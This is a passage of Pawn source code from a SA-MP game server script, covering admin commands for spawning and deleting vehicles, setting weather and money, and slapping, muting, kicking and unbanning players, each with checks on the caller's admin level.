			GetPlayerFacingAngle(playerid,angle);
			GetPlayerPos(playerid, X,Y,Z);
			new carid,disx,carid2;
			for(new i=1;i<(count/2)+1;i++) {
			disx = i*dis;

			carid = CreateVehicle(car, X+disx,Y,Z+1, angle, color1, color2, -1);
			carid2 = CreateVehicle(car, X-disx,Y,Z+1, angle, color1, color2, -1);

			SetVehicleNumberPlate(carid, "{F90000}Admin Veh");
			SetVehicleNumberPlate(carid2, "{F90000}Admin Veh");


			CreatedCars[CreatedCar] = carid;
			CreatedCar ++;


			CreatedCars[CreatedCar] = carid2;
			CreatedCar ++;


			IsValidAVeh[carid2] = true;
			IsValidAVeh[carid] = true;

			VehOwned[carid] = 2;
			VehOwner[carid] = playerid;
			VehOwned[carid2] = 2;
			VehOwner[carid2] = playerid;

			LinkVehicleToInterior(carid, GetPlayerInterior(playerid));
			SetVehicleVirtualWorld(carid, GetPlayerVirtualWorld(playerid));

			LinkVehicleToInterior(carid2, GetPlayerInterior(playerid));
			SetVehicleVirtualWorld(carid2, GetPlayerVirtualWorld(playerid));
			}
		  new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s used Multi-Veh [North/South].", PINFO[playerid][pName]);
		  AdminWarn(sttrr);
			return 1;
		}
*/
		/*
		if(!strcmp(cmd,"/recovery",true))
		{
		if (PlayerInfo[playerid][pAdmin] < 12) return SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid,COLOR_YELLOW2,"USPGE: /recovery <FullName>");

			BefresRamz(playerid,tmp);



			return 1;
		}
		*/
		if(strcmp(cmd, "/rac", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] <= 3 && PINFO[playerid][pSponser] == 0)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
					return 1;
				}
				for(new i = 0;i<MAX_VEHICLES;i++)
				{
				if(IsUnusedVehicle(i) && IsVehicleConnected(i) && VehOwner[i] == playerid && VehOwned[i] == 2)
				{
		        VehicleTurbo[i] = 0;
		        vJump[i] = 0;
                if(VehLinkDare[i] == 1)
                {
                 VehLinkDare[i] = 0;
                 VehLink[i][0] = '\0';
                }
			    SetVehicleToRespawn(i);
			    }
				}
				format(string,256,"{FFFFFF}Admin %s respawned all %sself vehicles.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("him"):("her"));
				AdminWarn(string);
			}
			return 1;
		}
		if(!strcmp(cmd,"/deletemycarsz",true))
		{
		if(Usable[playerid] != 1) return SCM(playerid,COLOR_YELLOW2,"Error: Unknown command.");
		if(PlayerInfo[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: Unknown command.");
		for(new i = akharinvehicle;i < MAX_VEHICLES;i++) {
		if(VehOwned[i] == 2 && VehOwner[i] == playerid) {
		VehicleTurbo[i] = 0;
		vJump[i] = 0;
		OilInCar[i] = 0;
        if(VehLinkDare[i] == 1)
        {
           VehLinkDare[i] = 0;
           VehLink[i][0] = '\0';
        }
		VehOwned[i] = 0;
		VehOwner[i] = 9999;
		DestroyVehicle(i);
		}
		}
		return 1;
		}
		if(!strcmp(cmd,"/rav",true))
		{
		if(PlayerInfo[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		for(new i = akharinvehicle;i < MAX_VEHICLES;i++) {
		if(VehOwned[i] == 2 && VehOwner[i] == playerid) {
		VehicleTurbo[i] = 0;
		vJump[i] = 0;
		OilInCar[i] = 0;
        if(VehLinkDare[i] == 1)
        {
           VehLinkDare[i] = 0;
           VehLink[i][0] = '\0';
        }
		VehOwned[i] = 0;
		VehOwner[i] = 9999;
		DestroyVehicle(i);
		}
		}
		format(string,256,"[Admin-Warn]: {FFFFFF}Admin %s deleted all created cars (that they created).",PlayerInfo[playerid][pName]);
		ABroadCast(COLOR_AdminWarn,string,1);
		return 1;
		}
		if(!strcmp(cmd,"/favall",true))
		{
		if(PlayerInfo[playerid][pAdmin] <= 4 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		for(new i = 0;i<CreatedCar;i++)
		{
		if(CreatedCars[i] != 0 && OwnedMashin[CreatedCars[i]] != 1 && OwnedMashin_2[CreatedCars[i]] != 1 && IsValidAVeh[CreatedCars[i]] == true)
		{
		RepairVehicle(CreatedCars[i]);
		}
		}
		CreatedCar = 0;
		format(string,256,"[Admin-Warn]: {FFFFFF}Admin %s fixed all created cars.",PlayerInfo[playerid][pName]);
		ABroadCast(COLOR_AdminWarn,string,1);
		return 1;
		}
		if(!strcmp(cmd,"/fav",true))
		{
		if(PlayerInfo[playerid][pAdmin] <= 2 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		for(new i = akharinvehicle;i < MAX_VEHICLES;i++) {
		if(VehOwned[i] == 2 && VehOwner[i] == playerid) {
		RepairVehicle(i);
		}
		}
		format(string,256,"[Admin-Warn]: {FFFFFF}Admin %s fixed all %sself created cars.",PlayerInfo[playerid][pName],(PINFO[playerid][pSex]==1)?("him"):("her"));
		ABroadCast(COLOR_AdminWarn,string,1);
		return 1;
		}
		if(!strcmp(cmd,"/ravall",true))
		{
		if(PlayerInfo[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		for(new i = 0;i<CreatedCar;i++)
		{
		if(CreatedCars[i] != 0 && OwnedMashin[CreatedCars[i]] != 1 && OwnedMashin_2[CreatedCars[i]] != 1 && IsValidAVeh[CreatedCars[i]] == true)
		{
		VehicleTurbo[CreatedCars[i]] = 0;
		vJump[CreatedCars[i]] = 0;
		OilInCar[CreatedCars[i]] = 0;
        if(VehLinkDare[CreatedCars[i]] == 1)
        {
           VehLinkDare[CreatedCars[i]] = 0;
           VehLink[CreatedCars[i]][0] = '\0';
        }
		VehOwned[CreatedCars[i]] = 0;
		VehOwner[CreatedCars[i]] = 9999;
		DestroyVehicle(CreatedCars[i]);
		IsValidAVeh[CreatedCars[i]] = false;
		CreatedCars[i] = 0;
		}
		}
		CreatedCar = 0;
		format(string,256,"[Admin-Warn]: {FFFFFF}Admin %s deleted all created cars.",PlayerInfo[playerid][pName]);
		ABroadCast(COLOR_AdminWarn,string,1);
		return 1;
		}
		if(strcmp(cmd, "/weather", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /weather <WeatherID>");
					return 1;
				}
				new weather;
				weather = strval(tmp);
				SetPlayerWeather(playerid, weather);
				//SendMessage(playerid, COLOR_GREY, "You have set the weather to %s" , weather);
				tmp = strtok(cmdtext, idx );
				GetPlayerName(playerid, sendername, sizeof(sendername));
				//format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has changed the him/her self weather to %d.", sendername,weather);
				//ABroadCast(COLOR_AdminWarn,string,1);
			}
			return 1;
		}
		if(strcmp(cmd, "/weatherall", true) == 0)
		{
			if(IsPlayerConnected(playerid))
		 {
				if(PlayerInfo[playerid][pAdmin] <= 9)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
					return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /weatherall <WeatherID>");
					return 1;
				}
				new weather;
				weather = strval(tmp);
				SetWeather(weather);
				SendMessage(playerid, COLOR_GREY, "   Weather set to everyone!");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has changed the weather to %d.", sendername,weather);
				ABroadCast(COLOR_AdminWarn,string,1);
			}
			return 1;
		}
	//----------------------------------[Money]------------------------------------------------
	if(strcmp(cmd, "/setmoney", true) == 0)
	{
	if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_SINA3, "Error: Your admin level isn't high enough to use this command.");
	   if(IsPlayerConnected(playerid))
	   {
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setmoney <Playerid/PartOfName> <Money>");
			 return 1;
		  }
		  new playa;
		  new money;
		  playa = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  money = strval(tmp);
		  if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: Player isn't connected.");
		  if(gPlayerLogged[playa] != 1)return SCM(playerid,COLOR_YELLOW2,"Error: Player isn't logged in yet.");
		  if (PlayerInfo[playerid][pAdmin] >= 12)
		  {
			 if(IsPlayerConnected(playa))
			 {
				if(playa != INVALID_PLAYER_ID)
				{
					ResetPlayerPool(playa);
					GivePlayerPool(playa, money);
					GetPlayerName(playa, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, 144, "[Admin-Warn]: {FFFFFF}Admin %s has set %s's money to $%s.", sendername,giveplayer,FormatNumber(money));
					//MoneyLog(string);
					ABroadCast(COLOR_AdminWarn,string,1);
					format(string, 100, "Admin %s sets your money to {ffffff}$%s{ff6347}.", sendername,FormatNumber(money));
					SCM(playa, COLOR_LIGHTRED, string);
				}
			 }
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_SINA3, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
	//----------------------------------[GiveMoney]------------------------------------------------
		if(strcmp(cmd, "/givemoney", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Givemoney <Playerid/PartOfName> <Money>");
					return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new playa;
				new money;
				playa = ReturnUser6(tmp);
				if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(playa!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
	   if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: Player isn't connected.");
			 if(gPlayerLogged[playa] != 1)return SCM(playerid,COLOR_YELLOW2,"Error: Player isn't logged in yet.");
				tmp = strtok(cmdtext, idx);
				money = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 11)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							GivePlayerPool(playa, money);
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, 144, "[Admin-Warn]: {FFFFFF}Admin %s has admin-given %s $%s.", sendername,giveplayer,FormatNumber(money));
							ABroadCast(COLOR_AdminWarn,string,1);
							format(string, 144, "%s has admin-given you {ffffff}$%s{ff6347}.", sendername,FormatNumber(money));
							SCM(playa, COLOR_LIGHTRED, string);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
/*
	   if(strcmp(cmd, "/getmoney", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Getmoney <Playerid/PartOfName> <Money>");
					return 1;
				}
				new playa;
				new money;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				money = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 11)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							GetPlayerPool2(playa, money);
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							format(string, 256, "[Admin-Warn]: {FFFFFF}%s has got $%s from %s", sendername,FormatNumber(money),giveplayer);
							ABroadCast(COLOR_AdminWarn,string,1);
						}
				  }
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		*/
	//-----------------------------------[Slap]-----------------------------------------------
		if(strcmp(cmd, "/slap", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Slap <Playerid/PartOfName>");
					return 1;
				}
				new playa;
				new Float:slx, Float:sly, Float:slz;
				playa = ReturnUser6(tmp);
				if(!IsPlayerConnected(playa))return SEM(playerid, "The player isn't connected.");
			 if(PINFO[playerid][pAdmin] < PINFO[playa][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				if (PlayerInfo[playerid][pAdmin] >=1 || PINFO[playerid][pSponser] == 1)
				{

					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, playername, sizeof(playername));
							GetPlayerPos(playa, slx, sly, slz);
							SetPlayerPos(playa, slx, sly, slz+5);
							PlayerPlaySound(playa, 1190, slx, sly, slz+5);
							format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Admin %s has slapped %s", playername, giveplayer);
							ABroadCast(COLOR_AdminWarn,string, 1);
							format(string, sizeof(string), "{FFFFFF}You have been slapped by Admin {D0000F}%s", playername);
							SCM(playa, COLOR_LIGHTRED, string);
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		// /Mute :| ---------------------------------------------------------------------------------------------------------
	if(strcmp(cmd, "/idmute", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /idmute <Playerid/PartOfName> <time(minutes)> <Reason>");
					return 1;
				}
				new playa;
				new money;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				money = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 1)
				{
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
							new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /idmute <Playerid/PartOfName> <time(minutes)> <Reason>");
								return 1;
							}
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));

							format(string, sizeof(string), "* You muted %s for %d minutes.", giveplayer,money);
							SendMessage(playerid, COLOR_LIGHTRED, string);

							PlayerInfo[playa][pMuteTime] = money*60;
							SaveKonVal(playa, "pMuteTime", PINFO[playa][pMuteTime]);

							SendMessage(playerid, COLOR_LIGHTRED, "you can type /mymute to see you're mute time");

							new string5[600];
							format(string5, sizeof(string5), "AdmCmd: Player %s was muted for %d minutes By Admin %s, reason: %s", giveplayer, money, sendername, (result));
							SendClientMessageToAll(COLOR_LIGHTRED, string5);

							new sec[64];
							format(sec, sizeof(sec), "%d",money);
							AddLog(PINFO[playa][pName], PINFO[playerid][pName], (result), sec, 13);

						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/unmute", true) == 0)
		{
				if(PlayerInfo[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Unmute <Playerid/PartOfName>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));

							PlayerInfo[giveplayerid][pMuteTime] = 0;
							SaveKonVal(giveplayerid, "pMuteTime", 0);
							new string2[512];
							format(string2, sizeof(string2), "[Admin-Warn]: {FFFFFF}Admin %s unmuted %s.", sendername, giveplayer);
							ABroadCast(COLOR_AdminWarn,string2, 5);

							new string3[512];
							format(string3, sizeof(string3), "Admin %s unmuted you.", sendername);
							SendMessage(giveplayerid, COLOR_LIGHTRED, string3)
					}
				}
			return 1;
		}
			if(strcmp(cmd, "/mymute", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pMuteTime] > 0)
				{
					format(string, sizeof(string), "Your Mute time left: [%d seconds]", PlayerInfo[playerid][pMuteTime]);
					SendMessage(playerid,COLOR_LIGHTBLUE, string);
				}
			}
			return 1;
		}


	/*----------------------------------------------------------------------------*/
	if(strcmp(cmd, "/kick", true) == 0)
	{
	   if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_MAMAD, "Error: Your admin level isn't high enough to use this command.");
		if(PINFO[playerid][pAdmin] == 7 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
		if(PINFO[playerid][pAdmin] == 8 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
		if(PINFO[playerid][pAdmin] == 9 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /kick <Playerid/PartOfName> <reason>");
			 return 1;
		  }
		  giveplayerid = ReturnUser6(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 1)
		  {
			 if(IsPlayerConnected(giveplayerid))
			 {
				if(giveplayerid != INVALID_PLAYER_ID)
				{
					GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					new length = strlen(cmdtext);
					while ((idx < length) && (cmdtext[idx] <= ' '))
					{
					   idx++;
					}
					new offset = idx;
						 new result[64];
					while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
					{
					   result[idx - offset] = cmdtext[idx];
					   idx++;
					}
					result[idx - offset] = EOS;
					if(!strlen(result))
					{
					   SendClientMessage(playerid, COL_SYN, "Syntax: /kick <Playerid/PartOfName> <reason>");
					   return 1;
					}
						 new taraf = ReturnUser6(tmp);
						 tmp = strtok(cmdtext,idx);
					//if(PINFO[taraf][pAdmin] == 11 || PINFO[taraf][pAdmin] == 12 || PINFO[taraf][pAdmin] == 13) return SCM(playerid,COLOR_SINA3,"Error: Do you think you can kick higher admins than you?");
					if(PINFO[taraf][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "Error: You can't kick admin higher than you.");
						if(giveplayerid == playerid) return SCM(playerid, COLOR_SINA3, "you cannot kick yourself");
					new year, month,day;
					getdate(year, month, day);
					format(string, sizeof(string), "AdmCmd: %s was kicked by Admin %s, Reason: %s (%d-%d-%d)", giveplayer, sendername, (result),month,day,year);
					//KickLog(string);
					format(string, sizeof(string), "AdmCmd: %s was kicked by Admin %s, Reason: %s", giveplayer, sendername, (result));
					SendClientMessageToAll(COLOR_LIGHTRED, string);
					KickWithMessage(giveplayerid, COLOR_LIGHTRED, "You have been kicked.");
					return 1;
				}
			 }
			 else
			 {
			 format(string, sizeof(string), "That player is offline.");
			 SendClientMessage(playerid, COLOR_GRAD1, string);
			 }
		  }
		  else
		  {
		  SCM(playerid,COLOR_MAMAD,"Error: Your admin level isn't high enough to use this command.");
		  return 1;
		  }
	   }
	   return 1;
	}

	 if(strcmp(cmd, "/skick", true) == 0 || strcmp(cmd, "/skk", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(PINFO[playerid][pAdmin] == 7 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 8 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
			if(PINFO[playerid][pAdmin] == 9 && PINFO[playerid][pHAgr] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have Hoster-License, report it to higher admin levels.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Skick <Playerid/PartOfName> <Reason>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 1)
				{
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
		  new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Skick <Playerid/PartOfName> <Reason>");
								return 1;
							}
							if(giveplayerid == playerid) return SCM(playerid, COLOR_SINA3, "You cannot kick yourself");
					   if(PINFO[giveplayerid][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_SINA3, "Error: You can't kick admin higher than you.");
							new year, month,day;
							getdate(year, month, day);
							format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} %s was kicked by Admin %s, Reason: %s (%d-%d-%d)", giveplayer, sendername, (result),month,day,year);
							//KickLog(string);
							format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} %s was kicked by Admin %s, Reason: %s", giveplayer, sendername, (result));
							ABroadCast(COLOR_AdminWarn,string,1);
							KickWithMessage(giveplayerid, COLOR_LIGHTRED, "You have been kicked.");
							return 1;
						}
					}
					else
					{
					format(string, sizeof(string), "That player is offline.");
					SendMessage(playerid, COLOR_GRAD1, string);
					}
				}
				else
				{
				SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
				return 1;
				}
			}
			return 1;
		}
	/*----------------------------------------------------------------------------*/
		if (strcmp(cmd, "/unban", true) ==0)
		{
			if(PlayerInfo[playerid][pAdmin] >=6)
			{
				if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /unban <FullName>");
				//GetPlayerName(playerid, sendername, sizeof(giveplayer));
				//format(string, 100, "[Admin-Warn]: {FFFFFF}Admin %s has unbanned player %s", sendername, tmp);
				//ABroadCast(COLOR_AdminWarn,string,1);
				UnBanPlayer(playerid,tmp);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Your admin level isn't high enough to use this command.");
			}
			return 1;
		}
		if (strcmp(cmd, "/unbanip", true) ==0)
		{
			if(PlayerInfo[playerid][pAdmin] >=10)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /unbanip <IP>");
				GetPlayerName(playerid, sendername, sizeof(giveplayer));
				UnbanIp(playerid,tmp);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Your admin level isn't high enough to use this command.");
			}
			return 1;
		}

	//-------------------------------------[Warned]--------------------------------------------------
	/*
	if(strcmp(cmd, "/lav", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Lav <Playerid/PartOfName> <Reason>");
					return 1;
				}
				giveplayerid = ReturnUser6(tmp);
				if(PlayerInfo[giveplayerid][pAdmin] > 10) return SCM(playerid, COLOR_YELLOW2, "Error:{FF0000} You can't give a Leader Av to higher admins rank");
				if (PlayerInfo[playerid][pAdmin] >= 11)
				{
					if(IsPlayerConnected(giveplayerid))
					{
						if(giveplayerid != INVALID_PLAYER_ID)
						{
					   if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
							GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new length = strlen(cmdtext);
							while ((idx < length) && (cmdtext[idx] <= ' '))
							{
								idx++;
							}
							new offset = idx;
							new result[64];
							while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
							{
								result[idx - offset] = cmdtext[idx];
								idx++;
							}
							result[idx - offset] = EOS;
							if(!strlen(result))
							{
								SendMessage(playerid, COL_SYN, "Syntax: /Lav <Playerid/PartOfName> <Reason>");
								return 1;
							}
							if(PlayerInfo[giveplayerid][pAdmin] > PlayerInfo[playerid][pAdmin]) return SCM(playerid, COLOR_RED, "He/she has higher rank");
							PlayerInfo[giveplayerid][pLav] += 1;
							SaveKonVal(giveplayerid, "pLav", PINFO[giveplayerid][pLav]);
							if(PlayerInfo[giveplayerid][pLav] >= 3)
							{

								new ttext[50];
								if(PlayerInfo[giveplayerid][pMember] == 2 || PlayerInfo[giveplayerid][pLeader] == 2) { ttext = "Federal Bureau of Investigation"; }
								 else if(PlayerInfo[giveplayerid][pMember] == 1 || PlayerInfo[giveplayerid][pLeader] == 1) { ttext = "Police Departament"; }
								else if(PlayerInfo[giveplayerid][pMember] == 3 || PlayerInfo[giveplayerid][pLeader] == 3) { ttext = "National Guard"; }
								else if(PlayerInfo[giveplayerid][pMember] == 5 || PlayerInfo[giveplayerid][pLeader] == 5) { ttext = "The Silence Mafia"; }
								else if(PlayerInfo[giveplayerid][pMember] == 6 || PlayerInfo[giveplayerid][pLeader] == 6) { ttext = "The Killers Family"; }
								else if(PlayerInfo[giveplayerid][pMember] == 12 || PlayerInfo[giveplayerid][pLeader] == 12) { ttext = "Dangerous Tiger Family"; }
								else if(PlayerInfo[giveplayerid][pMember] == 13 || PlayerInfo[giveplayerid][pLeader] == 13) { ttext = "Legendary Men Family"; }
								else if(PlayerInfo[giveplayerid][pMember] == 14 || PlayerInfo[giveplayerid][pLeader] == 14) { ttext = "Fast N Furious Family"; }
								else if(PlayerInfo[giveplayerid][pMember] == 15 || PlayerInfo[giveplayerid][pLeader] == 15) { ttext = "Storm Men Family"; }
								else if(PlayerInfo[giveplayerid][pMember] == 7 || PlayerInfo[giveplayerid][pLeader] == 7) { ttext = "Mayor"; }
								else if(PlayerInfo[giveplayerid][pMember] == 8 || PlayerInfo[giveplayerid][pLeader] == 8) { ttext = "Hitman Agency"; }
								else if(PlayerInfo[giveplayerid][pMember] == 4 || PlayerInfo[giveplayerid][pLeader] == 4) { ttext = "Firemen/Paramedic"; }
								else if(PlayerInfo[giveplayerid][pMember] == 9 || PlayerInfo[giveplayerid][pLeader] == 9) { ttext = "News Reporter"; }
								else if(PlayerInfo[giveplayerid][pMember] == 10 || PlayerInfo[giveplayerid][pLeader] == 10) { ttext = "Taxi Drivers"; }
								else if(PlayerInfo[giveplayerid][pMember] == 16 || PlayerInfo[giveplayerid][pLeader] == 16) { ttext = "Tow Truck Company"; }
